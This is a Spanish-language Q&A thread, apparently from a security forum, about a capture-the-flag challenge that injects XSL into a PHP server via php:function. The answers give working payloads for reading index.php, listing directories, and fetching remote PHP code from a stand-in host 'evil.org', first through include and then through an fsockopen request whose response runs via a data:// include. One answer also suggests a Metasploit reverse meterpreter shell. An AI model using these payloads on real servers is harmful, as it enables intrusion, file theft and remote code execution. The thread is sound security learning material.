Ejecutar una función de PHP que devuelve una matriz de un archivo XSL

8

Hay un desafío de seguridad en el que tiene que ejecutar el código en el servidor para recuperar una bandera, y este código debe ejecutarse utilizando un documento XSL.

Encontré una forma de hacer que el servidor interpretara mi propio archivo XSL, y utilicé la funcionalidad php:function para ejecutar una función php en el servidor. Aquí hay un ejemplo del código que le estoy dando al servidor:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','index.php')"/>
</xsl:template>
</xsl:stylesheet>

Este código generará el código fuente de la página index.php .

El siguiente paso es ejecutar scandir en el servidor para listar el directorio actual (para encontrar la bandera). El problema que tengo es que la respuesta del servidor es solo Array , eso es todo lo que genera el servidor.

Después de buscar casi 8 horas, estoy atascado y no puedo encontrar ninguna funcionalidad XSL que genere la matriz devuelta por scandir .

Notas :

  • Las funciones que permiten la ejecución de código ( eval , exec , passthru , popen , proc_open , shell_exec , system ) están deshabilitadas por el servidor.
  • Realmente soy un principiante (noob completo) en los lenguajes XSL y XML.
pregunta Sidahmed 05.10.2017 - 17:35
fuente

4 respuestas

8

También soy un noob cuando se trata de XSL. Para ser honesto, no tenía idea de que pudiera ser tan poderoso ... y peligroso. Pero tendré una oportunidad en esto de todos modos.

No sé si es posible obtener el resultado de una función que devuelve una matriz. Tal vez usted puede anidar llamadas de función de alguna manera? Pero dada mi falta de conocimiento sobre XSL no puedo decirte cómo. Así que vamos a solucionar todo el problema en su lugar. ¿Hay alguna forma de obtener el listado del directorio sin tener que lidiar con matrices en absoluto?

Entra en el manual de PHP. Las dos funciones siguientes parecen útiles:

  

resource opendir ( string $path [, resource $context ] )

     

Abre un manejador de directorio que se usará en las siguientes llamadas closedir() , readdir() y rewinddir() .

  

string readdir ([ resource $dir_handle ] )

     

Devuelve el nombre de la siguiente entrada en el directorio. Las entradas se devuelven en el orden en que están almacenadas por el sistema de archivos. [...] Si no se especifica el manejador de directorio, se asume el último enlace abierto por opendir() .

Por lo tanto, no podrá obtener el recurso de opendir , pero como readdir amablemente asume que desea leer del último recurso, podría funcionar de todos modos. Sugiero un archivo de ataque con algo como esto:

<xsl:value-of select="php:function('opendir','/some/where/')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
...

Editar: Aparentemente hay un undocumentet php:functionString() que "convertirá automáticamente la salida en una cadena", según un comentario en php.net . No estoy seguro de si ayuda, pero vale la pena intentarlo.

    
respondido por el Anders 11.10.2017 - 15:52
fuente
1
  

xmlns: php="http://php.net/xsl"

¡Dios mío! ¡No tenía idea de que la documentación fuera tan poderosa!

La respuesta "Array" es lo que obtienes cuando realizas una conversión implícita de un array a una cadena en php. Simplemente ajuste su llamada a scandir en algo que devuelva una mejor representación de cadena, como sugiere Conor, por ejemplo,

 implode(',', scandir('/some/where'))

(con referencia al comentario - print [_r] lo enviará a la salida estándar - pero la interfaz XSL parece estar leyendo el valor de retorno directamente).

Suponiendo que la interfaz php: function no permita esto, entonces podría intentar usar uno de los objetos iteradores del directorio (los objetos tienen métodos de serialización más agradables).

Otro enfoque sería simplemente incluir el código PHP desde un sitio remoto ....

php:function('include','http://evil.org/interrogator.php')
    
respondido por el symcbean 06.10.2017 - 14:23
fuente
0

Si tiene una ejecución de código php arbitrario en el servidor a través de ese xslt, puede eliminar el intermediario y usar un medidor de php con conexión TCP inversa en metasploit y tener un medidor de metro en la caja. Por lo tanto, si la bandera no está en el nombre del archivo, sino en el contenido de un archivo, puede descargarlo o cargarlo fácilmente.

Puede usar gen -t raw en msf con el medidor de php configurado como módulo y obtener el código de php para copiar fácilmente la pasta.

    
respondido por el Tobi Nary 11.10.2017 - 16:24
fuente
0
  

Nota: después de haber escrito esta respuesta, estoy empezando a dudar si puedes pasar una función anónima a través del vector de ataque que está disponible para ti.   Aquí le dejo esta respuesta para que pueda probarla, si lo desea.

Hmm ... dado el escenario que describe, intentaría aprovechar el poder de call_user_func() , preg_replace_callback() o usort() 1 , en combinación con un función anónima .

Si cualquiera de las funciones que aceptan una devolución de llamada están disponibles para usted, usted obtiene acceso a casi todo el potencial de PHP.


Algunos ejemplos usando call_user_func() :

Ejemplo 1
Llamando a scandir() :

<xsl:value-of select="php:function('call_user_func', function(){
    return print_r(scandir('..'), true);
})"/>


Ejemplo 2
Dado que esta es una configuración de captura de la bandera, verifique si el Operador de ejecución se deja habilitado ( Lo dudo, pero vale la pena intentarlo):

<xsl:value-of select="php:function('call_user_func', function(){
    return 'ls -al';
})"/>



Dado que call_user_func() permite construir sus propias funciones, usted también hace otras cosas.

Ejemplo 3
Compruebe la configuración del servidor:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    phpinfo();
    return ob_get_clean();
})"/>


Ejemplo 4
Abra un socket, realice una solicitud HTTP e incluya el resultado como un archivo PHP a través del contenedor de flujo de datos , que posiblemente le permita evite algunas restricciones de seguridad:

<xsl:value-of select="php:function('call_user_func', function(){
    ob_start();
    error_reporting(~0);
    ini_set(\'display_errors\', true);

    $errno = 0;
    $errstr = \'\';
    if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
        return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
    }

    fwrite($fp, &quot;GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\&quot;);
    $out = \'\';
    while (!feof($fp)) {
        $out .= fgets($fp, 128);
    }
    fclose($fp);
    include(\'data://text/plain;base64,\'.base64_encode($out));
    echo &quot;\n\nOk\n&quot;;
    return ob_get_clean();
})"/>

Nota: si, en el ejemplo de código anterior, \' no funciona, intente reemplazarlo con &apos; .

Si no puede include contenido remoto, deberá proporcionar todas las funciones requeridas como una cadena, lo cual es menos conveniente, pero no necesariamente menos poderoso.


1 Existen otras funciones que aceptan una función de devolución de llamada, por lo tanto, si las funciones mencionadas en esta respuesta están bloqueadas, es una cuestión de rastro y error hasta que encuentre una disponible.

    
respondido por el Jacco 16.10.2017 - 20:46
fuente

Lea otras preguntas en las etiquetas